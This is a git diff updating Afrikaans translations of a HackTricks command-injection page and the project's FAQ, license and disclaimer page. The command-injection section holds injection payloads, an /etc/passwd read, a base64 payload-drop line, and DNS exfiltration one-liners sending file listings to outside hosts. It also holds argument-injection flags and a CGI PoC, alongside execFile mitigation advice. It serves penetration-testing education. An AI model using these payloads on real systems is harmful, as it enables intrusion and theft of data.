A **command injection** laat die uitvoering van ewekansige operating system commands toe deur 'n attacker op die server wat 'n application host. As gevolg hiervan kan die application en al sy data volledig gekompromitteer word. Die uitvoering van hierdie commands stel die attacker tipies in staat om ongemagtigde toegang of beheer oor die application's omgewing en onderliggende stelsel te verkry.
|
||||
'n **command injection** maak die uitvoering van ewekansige bedryfstelselopdragte moontlik deur 'n aanvaller op die bediener wat 'n toepassing huisves. Gevolglik kan die toepassing en al sy data volledig gekompromiteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongemagtigde toegang tot of beheer oor die toepassing se omgewing en die onderliggende stelsel te verkry.
|
||||
|
||||
### Konteks
|
||||
|
||||
Afhangend van **waar jou invoer ingespuit word**, mag jy die **aangehaalde konteks** (met `"` of `'`) moet beëindig voordat jy opdragte kan uitvoer.
|
||||
Afhangend van **waar jou invoer ingespuit word** mag dit nodig wees om die **aangehaalde konteks te beëindig** (using `"` or `'`) voor die opdragte.
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -30,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Beperking** Bypasses
|
||||
|
||||
As jy probeer om **arbitrary commands inside a linux machine** uit te voer, sal jy belangstel om oor hierdie **Bypasses:** te lees.
|
||||
### **Beperkings** Omseilings
|
||||
|
||||
As jy probeer om **willekeurige opdragte in 'n linux-masjien** uit te voer, sal jy belangstel om te lees oor hierdie **Omseilings:**
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
@ -47,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Parameters
|
||||
|
||||
Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE vulnerabilities (van [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE-kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -77,7 +76,7 @@ Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortg
|
||||
```
|
||||
### Time based data exfiltration
|
||||
|
||||
Data onttrekking: karakter vir karakter
|
||||
Uittrekking van data: char by char
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -89,9 +88,9 @@ real 0m0.002s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
### DNS-gebaseerde data-ekfiltrasie
|
||||
### DNS based data exfiltration
|
||||
|
||||
Gebaseer op die tool vanaf `https://github.com/HoLyVieR/dnsbin` wat ook gehost word by dnsbin.zhack.ca
|
||||
Gebaseer op die tool van `https://github.com/HoLyVieR/dnsbin`, ook gehost op dnsbin.zhack.ca
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -101,12 +100,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Aanlyn gereedskap om vir DNS-gebaseerde data exfiltration te kontroleer:
|
||||
Aanlyn gereedskap om te kontroleer vir DNS-gebaseerde data exfiltration:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
|
||||
### Filter-omseiling
|
||||
### Filtering bypass
|
||||
|
||||
#### Windows
|
||||
```
|
||||
@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Wanneer jy JavaScript/TypeScript back-ends oudit, sal jy dikwels die Node.js `child_process` API teëkom.
|
||||
Wanneer jy JavaScript/TypeScript-back-ends oudit, sal jy dikwels die Node.js `child_process` API teëkom.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` skep 'n **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer in die string gekonkateneer word.
|
||||
`exec()` lanceer 'n **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer aan die string gekonkateneer word.
|
||||
|
||||
**Mitigering:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en voorsien **elke argument as 'n aparte array-element** sodat geen shell betrokke is nie:
|
||||
**Mitigasie:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en voorsien **elke argument as 'n aparte array element** sodat geen shell betrokke is nie:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -140,27 +139,27 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Werklike geval: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
|
||||
Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
|
||||
|
||||
Nie alle injections vereis shell metacharacters. As die toepassing onbetroubare stringe as argumente aan 'n stelselutility deurgee (selfs met `execve`/`execFile` en geen shell), sal baie programme steeds enige argument wat begin met `-` of `--` as 'n opsie interpreteer. Dit laat 'n aanvaller toe om modi om te skakel, uitvoerpaaie te verander, of gevaarlike gedrag te veroorsaak sonder om ooit in 'n shell in te breek.
|
||||
Nie alle inspuitings vereis shell-metakarakters nie. As die toepassing onbetroubare strings as argumente aan 'n stelselutility deurgee (selfs met `execve`/`execFile` en sonder 'n shell), sal baie programme nog steeds enige argument wat met `-` of `--` begin as 'n opsie ontleed. Dit laat 'n attacker toe om modes om te skakel, uitvoerpaaie te verander, of gevaarlike gedrag te veroorsaak sonder om ooit in 'n shell in te breek.
|
||||
|
||||
Tipiese plekke waar dit voorkom:
|
||||
|
||||
- Ingebedde web UIs/CGI handlers wat opdragte soos `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, ens. opbou.
|
||||
- Gesenraliseerde CGI routers (bv., `/cgi-bin/<something>.cgi` met 'n selector parameter soos `topicurl=<handler>`) waar meerdere handlers dieselfde swak validator hergebruik.
|
||||
- Ingebedde web UIs/CGI-handlers wat opdragte bou soos `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, ens.
|
||||
- Gesentraliseerde CGI-routers (bv. `/cgi-bin/<something>.cgi` met 'n selector-parameter soos `topicurl=<handler>`) waar verskeie handlers dieselfde swak validering hergebruik.
|
||||
|
||||
Wat om te probeer:
|
||||
|
||||
- Verskaf waardes wat begin met `-`/`--` sodat die downstream tool dit as flags verbruik.
|
||||
- Gee waardes wat begin met `-`/`--` sodat die downstream tool dit as flags verbruik.
|
||||
- Misbruik flags wat gedrag verander of lêers skryf, byvoorbeeld:
|
||||
- `ping`: `-f`/`-c 100000` om die toestel te stres (DoS)
|
||||
- `ping`: `-f`/`-c 100000` om die toestel te belas (DoS)
|
||||
- `curl`: `-o /tmp/x` om arbitrêre paaie te skryf, `-K <url>` om attacker-controlled config te laai
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` om post-rotate uitvoering in onveilige wrappers te bewerkstellig
|
||||
- As die program `--` end-of-options ondersteun, probeer naïewe mitigasies omseil wat `--` op die verkeerde plek byvoeg.
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` om post-rotate uitvoering in onveilige wrappers te bereik
|
||||
- As die program `--` as end-of-options ondersteun, probeer om naiewe mitigasies te omseil wat `--` op die verkeerde plek vooraan voeg.
|
||||
|
||||
Generic PoC shapes against centralized CGI dispatchers:
|
||||
Generiese PoC-skemas teen gesentraliseerde CGI-dispatchers:
|
||||
```
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -7,15 +7,15 @@
|
||||
> [!TIP]
|
||||
> Dit is die **waardes van die HackTricks-projek**:
|
||||
>
|
||||
> - Gee **FREE** toegang tot **EDUCATIONAL hacking** hulpbronne aan **AL** die Internet.
|
||||
> - Hacking gaan oor leer, en leer moet so vry as moontlik wees.
|
||||
> - Gee **GRATIS** toegang tot **OPVOEDENDE hacking** hulpbronne aan die **HELE** Internet.
|
||||
> - Hacking gaan oor leer, en leer moet so vry moontlik wees.
|
||||
> - Die doel van hierdie boek is om te dien as 'n omvattende **opvoedkundige hulpbron**.
|
||||
> - **STORE** fantastiese **hacking** tegnieke wat die gemeenskap publiseer en die **OORSPRONGLIKE** **AUTEURS** al die **KREDIETE** gee.
|
||||
> - **Ons wil nie die krediet van ander mense hê nie**, ons wil net interessante truuks vir almal stoor.
|
||||
> - **BEWAAR** fantastiese **hacking** tegnieke wat die gemeenskap publiseer en gee die **ORIGINELE** **AUTEURS** al die **krediete**.
|
||||
> - **Ons wil nie die krediet van ander mense hê nie**, ons wil net cool truuks vir almal bewaar.
|
||||
> - Ons skryf ook **ons eie navorsing** in HackTricks.
|
||||
> - In verskeie gevalle sal ons net **in HackTricks 'n samevatting van die belangrikste dele** van die tegniek skryf en die **leser aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede.
|
||||
> - **ORGANISEER** al die hacking-tegnieke in die boek sodat dit **MEER TOEGANKLIK** is
|
||||
> - Die HackTricks-span het duisende ure gratis bestee **slegs om die inhoud te organiseer** sodat mense **vinnig kan leer**
|
||||
> - In verskeie gevalle sal ons net **'n samevatting van die belangrike dele van die tegniek in HackTricks skryf** en sal die leser **aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede.
|
||||
> - **ORGANISEER** al die hacking tegnieke in die boek sodat dit **MEER TOEGANKLIK** is
|
||||
> - Die HackTricks-span het duisende ure vrygewig bestee **slegs om die inhoud te organiseer** sodat mense **vinnig kan leer**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -25,33 +25,33 @@
|
||||
>
|
||||
> - **Baie dankie vir hierdie hulpbronne, hoe kan ek julle bedank?**
|
||||
|
||||
Jy kan publiek die HackTricks-span bedank deur 'n tweet te maak en [**@hacktricks_live**](https://twitter.com/hacktricks_live) te noem.\
|
||||
As jy besonder dankbaar is, kan jy ook [**die projek hier borg**](https://github.com/sponsors/carlospolop).\
|
||||
En moenie vergeet om **'n ster aan die Github-projekte te gee nie!** (Vind die skakels hieronder).
|
||||
Jy kan die HackTricks-spanne openbaar bedank vir die samevoeging van al hierdie hulpbronne in 'n tweet waarin [**@hacktricks_live**](https://twitter.com/hacktricks_live) genoem word.\
|
||||
As jy besonders dankbaar is, kan jy ook [**borg die projek hier**](https://github.com/sponsors/carlospolop).\
|
||||
En moenie vergeet om 'n ster in die Github-projekte te gee nie! (Vind die skakels hieronder).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Hoe kan ek bydra tot die projek?**
|
||||
> - **Hoe kan ek by die projek bydra?**
|
||||
|
||||
Jy kan **nuwe tips en truuks met die gemeenskap deel of foutjies regmaak** wat jy in die boeke vind deur 'n **Pull Request** na die toepaslike Github-bladsye te stuur:
|
||||
Jy kan **nuwe wenke en truuks met die gemeenskap deel of bugs regmaak** wat jy in die boeke vind deur 'n **Pull Request** na die onderskeie Github-bladsye te stuur:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Moenie vergeet om **'n ster aan die Github-projekte te gee nie!**
|
||||
Moet nie vergeet om 'n ster in die Github-projekte te gee nie!
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Kan ek inhoud van HackTricks kopieer en in my blog plaas?**
|
||||
|
||||
Ja, jy mag, maar **moenie vergeet om die spesifieke skakel(s) te noem** waaruit die inhoud gehaal is nie.
|
||||
Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s) te noem** waar die inhoud vandaan geneem is nie.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Hoe kan ek na 'n bladsy van HackTricks verwys?**
|
||||
> - **Hoe kan ek 'n bladsy van HackTricks verwys?**
|
||||
|
||||
Solank die skakel **van** die bladsy(e) waaruit jy die inligting geneem het verskyn, is dit genoeg.\
|
||||
As jy 'n bibtex benodig, kan jy iets soos die volgende gebruik:
|
||||
Solank die skakel van die bladsy(e) waaruit jy die inligting geneem het verskyn, is dit genoeg.\
|
||||
As jy 'n bibtex nodig het kan jy iets soos gebruik:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Kan ek alle HackTricks in my blog kopieer?**
|
||||
> - **Kan ek al die HackTricks in my blog kopieer?**
|
||||
|
||||
**Ek sou liewer nie**. Dit sal **niemand bevoordeel nie**, aangesien al die **inhoud reeds gratis in die amptelike HackTricks-boeke openbaar beskikbaar is**.
|
||||
**Ek sou liewer nie**. Dit **sal niemand bevoordeel nie** aangesien al die **inhoud reeds publiek beskikbaar is** in die amptelike HackTricks-boeke gratis.
|
||||
|
||||
As jy vrees dit sal verdwyn, fork dit net op Github of laai dit af — soos ek gesê het, dit is reeds gratis.
|
||||
As jy vrees dat dit sal verdwyn, fork dit net op Github of laai dit af, soos ek gesê het dit is reeds gratis.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Waarom het julle sponsors? Is HackTricks-boeke vir kommersiële doeleindes?**
|
||||
|
||||
Die eerste HackTricks **waarde** is om **GRATIS** hacking-opvoedkundige hulpbronne aan **ALMAL** die wêreld te bied. Die HackTricks-span het **duisende ure toegewy** om hierdie inhoud aan te bied, weer, vir **GRATIS**.
|
||||
Die eerste **HackTricks** **waarde** is om **GRATIS** hacking opvoedkundige hulpbronne aan **AL** die wêreld te bied. Die HackTricks-span het **duisende ure toegewy** om hierdie inhoud te bied, weer, **GRATIS**.
|
||||
|
||||
As jy dink HackTricks-boeke is gemaak vir **kommersiёle doeleindes**, jy is **VOLLEDIG VERKEERD**.
|
||||
As jy dink HackTricks-boeke is gemaak vir **kommersiële doeleindes**, jy is **HELEMAAL VERKEERD**.
|
||||
|
||||
Ons het sponsors omdat, selfs al is al die inhoud GRATIS, ons die gemeenskap die moontlikheid wil bied om ons werk te waardeer indien hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en om **relevante kuberveiligheidsmaatskappye** HackTricks te laat borg en om **advertensies** in die boek te hê, met die **advertensies** altyd geplaas op plekke waar dit **sigbaar** is maar nie die leerproses steur as iemand op die inhoud fokus nie.
|
||||
Ons het sponsors omdat, selfs al is al die inhoud GRATIS, ons die gemeenskap die moontlikheid wil bied om ons werk te waardeer as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en vir **relevante kuberveiligheidsmaatskappye** om HackTricks te borg en om **advertensies** in die boek te hê, met die **advertensies** altyd geplaas op plekke wat hulle **sigbaar** maak maar die **leerproses** nie steur as iemand op die inhoud fokus nie.
|
||||
|
||||
Jy sal nie HackTricks gevul vind met irriterende advertensies soos ander blogs met baie minder inhoud as HackTricks nie, omdat HackTricks nie vir kommersiële doeleindes gemaak is nie.
|
||||
Jy sal nie HackTricks gevul met irritante advertensies vind soos ander blogs met baie minder inhoud as HackTricks nie, want HackTricks is nie vir kommersiële doeleindes geskep nie.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Wat moet ek doen as 'n HackTricks-blad gebaseer is op my blogpos maar dit nie verwys is nie?**
|
||||
> - **Wat moet ek doen as 'n HackTricks-bladsy gebaseer is op my blogpos maar dit nie verwys is nie?**
|
||||
|
||||
**Ons is baie jammer. Dit sou nie moes gebeur nie**. Laat weet ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks-blad met die inhoud en die skakel na jou blog en **ons sal dit nagaan en dit so gou as moontlik byvoeg**.
|
||||
**Ons is baie jammer. Dit moes nie gebeur het nie**. Laat weet ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks-bladsy met die inhoud en die skakel van jou blog en **ons sal dit nagaan en dit so gou moontlik byvoeg**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Wat moet ek doen as daar inhoud van my blog in HackTricks is en ek dit nie daar wil hê nie?**
|
||||
|
||||
Let wel dat om skakels na jou blad in HackTricks te hê:
|
||||
Let daarop dat om skakels na jou bladsy in HackTricks te hê:
|
||||
|
||||
- Verbeter jou **SEO**
|
||||
- Die inhoud word **in meer as 15 tale vertaal**, wat dit moontlik maak vir meer mense om toegang tot hierdie inhoud te kry
|
||||
- **HackTricks moedig** mense aan om **jou blad te besoek** (verskeie mense het vir ons gesê dat sedert 'n blad van hulle in HackTricks verskyn het, hulle meer besoeke ontvang)
|
||||
- Die inhoud word **na meer as 15 tale vertaal**, wat dit moontlik maak dat meer mense toegang tot hierdie inhoud kry
|
||||
- **HackTricks moedig** mense aan om **jou bladsy te besoek** (verskeie mense het vir ons gesê dat sedert 'n bladsy van hulle in HackTricks is, hulle meer besoeke ontvang)
|
||||
|
||||
Egter, as jy steeds wil hê die inhoud van jou blog moet uit HackTricks verwyder word, laat weet ons net en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud wat daarop gebaseer is.
|
||||
As jy egter steeds wil hê dat die inhoud van jou blog uit HackTricks verwyder moet word, laat weet ons en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud wat daarop gebaseer is.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Wat moet ek doen as ek gekopieër- en geplakte inhoud in HackTricks vind?**
|
||||
> - **Wat moet ek doen as ek gekopieerde inhoud in HackTricks vind?**
|
||||
|
||||
Ons gee altyd **die oorspronklike outeurs alle eer**. As jy 'n blad vind met gekopieër- en geplakte inhoud sonder die oorspronklike bronverwysing, laat weet ons en ons sal óf **dit verwyder**, óf **die skakel voor die teks voeg**, of **dit herskryf en die skakel byvoeg**.
|
||||
Ons gee altyd **die oorspronklike outeurs al die krediet**. As jy 'n bladsy vind met gekopieerde inhoud sonder dat die oorspronklike bron verwys is, laat weet ons en ons sal óf **dit verwyder**, óf **die skakel voor die teks voeg**, óf **dit herskryf en die skakel byvoeg**.
|
||||
|
||||
## LISENSIE
|
||||
|
||||
Kopiereg © Alle regte voorbehou tensy anders gespesifiseer.
|
||||
Copyright © All rights reserved unless otherwise specified.
|
||||
|
||||
#### Lisensie Opsomming:
|
||||
|
||||
- Toeskrywing: Jy is vry om:
|
||||
- Atribusie: Jy is vry om:
|
||||
- Deel — kopieer en herverdeel die materiaal in enige medium of formaat.
|
||||
- Aanpas — remiks, transformeer, en bou voort op die materiaal.
|
||||
- Aanpas — herskryf, transformeer en bou voort op die materiaal.
|
||||
|
||||
#### Addisionele Bepalings:
|
||||
#### Aanvullende Voorwaardes:
|
||||
|
||||
- Derdeparty-inhoud: Sommige gedeeltes van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sodanige inhoud word gedoen onder die beginsels van billike gebruik of met uitdruklike toestemming van die toepaslike kopiereghouers. Raadpleeg asseblief die oorspronklike bronne vir spesifieke lisensie-inligting rakende derdeparty-inhoud.
|
||||
- Outeurskap: Die oorspronklike inhoud wat deur HackTricks geskryf is, val onder die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te skryf wanneer jy dit deel of aanpas.
|
||||
- Derdeparty-inhoud: Sommige dele van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels uit ander blogs of publikasies. Die gebruik van sodanige inhoud geskied onder die beginsels van billike gebruik of met uitdruklike toestemming van die ooreenstemmende kopiereghouers. Raadpleeg asseblief die oorspronklike bronne vir spesifieke lisensie-inligting oor derdeparty-inhoud.
|
||||
- Auteurskap: Die oorspronklike inhoud geskryf deur HackTricks val onder die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die skrywer toe te skryf wanneer jy dit deel of aanpas.
|
||||
|
||||
#### Uitsonderings:
|
||||
|
||||
- Kommersiële gebruik: Vir navrae oor kommersiële gebruik van hierdie inhoud, kontak my asseblief.
|
||||
- Kommersiële gebruik: Vir navrae rakende kommersiële gebruik van hierdie inhoud, kontak my asseblief.
|
||||
|
||||
Hierdie lisensie verleen geen handelsmerk- of handelsnaamregte in verband met die inhoud nie. Alle handelsmerke en handelsname wat in hierdie blog/boek voorkom, is die eiendom van hul onderskeie eienaars.
|
||||
Hierdie lisensie verleen geen handelsmerk- of handelsnaamregte met betrekking tot die inhoud nie. Alle handelsmerke en handelsnaam wat in hierdie blog/boek verskyn, is die eiendom van hul onderskeie eienaars.
|
||||
|
||||
**Deur toegang te verkry tot of HackTricks te gebruik, stem jy daartoe in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, moenie hierdie webwerf besoek nie.**
|
||||
**Deur HackTricks te besoek of te gebruik, stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, besoek asseblief nie hierdie webwerf nie.**
|
||||
|
||||
## **Vrywaring**
|
||||
|
||||
> [!CAUTION]
|
||||
> Hierdie boek, 'HackTricks,' is slegs bedoel vir opvoedkundige en inligtingsdoeleindes. Die inhoud binne hierdie boek word aangebied op 'soos dit is' grondslag, en die outeurs en uitgewers gee geen voorstellings of waarborge van enige aard nie, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante grafika in hierdie boek. Enige vertroue wat jy in sodanige inligting plaas, is dus streng op jou eie risiko.
|
||||
> Hierdie boek, 'HackTricks,' is slegs bedoel vir opvoedkundige en inligtingsdoeleindes. Die inhoud in hierdie boek word op 'soos dit is'-grondslag aangebied, en die outeurs en uitgewers maak geen verklarings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid of beskikbaarheid van die inligting, produkte, dienste of verwante grafika in hierdie boek nie. Enige vertroue wat jy in sodanige inligting plaas, is dus op jou eie risiko.
|
||||
>
|
||||
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade nie, insluitend, sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat voortspruit uit data- of winsverliese wat uit die gebruik van hierdie boek voortspruit of daarmee in verband staan.
|
||||
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade nie, insluitend maar nie beperk nie tot indirekte of gevolglike verlies of skade, of enige verlies of skade wat voortspruit uit verlies van data of winste wat voortspruit uit, of in verband met, die gebruik van hierdie boek.
|
||||
>
|
||||
> Verder word die tegnieke en wenke in hierdie boek beskryf slegs vir opvoedkundige en inligtingsdoeleindes aangebied, en behoort nie gebruik te word vir onwettige of kwaaddadige aktiwiteite nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed en ondersteun dit nie, en enige gebruik van die inligting binne hierdie boek is op die gebruiker se eie risiko en diskresie.
|
||||
> Verder word die tegnieke en wenke wat in hierdie boek beskryf word slegs vir opvoedkundige en inligtingsdoeleindes verskaf, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die outeurs en uitgewers goedkeur of ondersteun geen onwettige of onetiese aktiwiteite nie, en enige gebruik van die inligting in hierdie boek is op die gebruiker se eie risiko en diskresie.
|
||||
>
|
||||
> Die gebruiker is uitsluitlik verantwoordelik vir enige optrede wat gebaseer is op die inligting in hierdie boek, en moet altyd professionele advies en hulp soek wanneer hy probeer om enige van die tegnieke of wenke hier beskryf te implementeer.
|
||||
> Die gebruiker is uitsluitlik verantwoordelik vir enige optrede wat gebaseer is op die inligting in hierdie boek, en moet altyd professionele advies en hulp soek wanneer hulle probeer om enige van die tegnieke of wenke hierin te implementeer.
|
||||
>
|
||||
> Deur hierdie boek te gebruik, stem die gebruiker daartoe in om die outeurs en uitgewers vry te stel van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese of nadele wat mag voortspruit uit die gebruik van hierdie boek of enige van die inligting daarin vervat.
|
||||
> Deur hierdie boek te gebruik, stem die gebruiker in om die outeurs en uitgewers te vrywaar van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese of nadeel wat mag voortspruit uit die gebruik van hierdie boek of enige van die inligting daarin.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user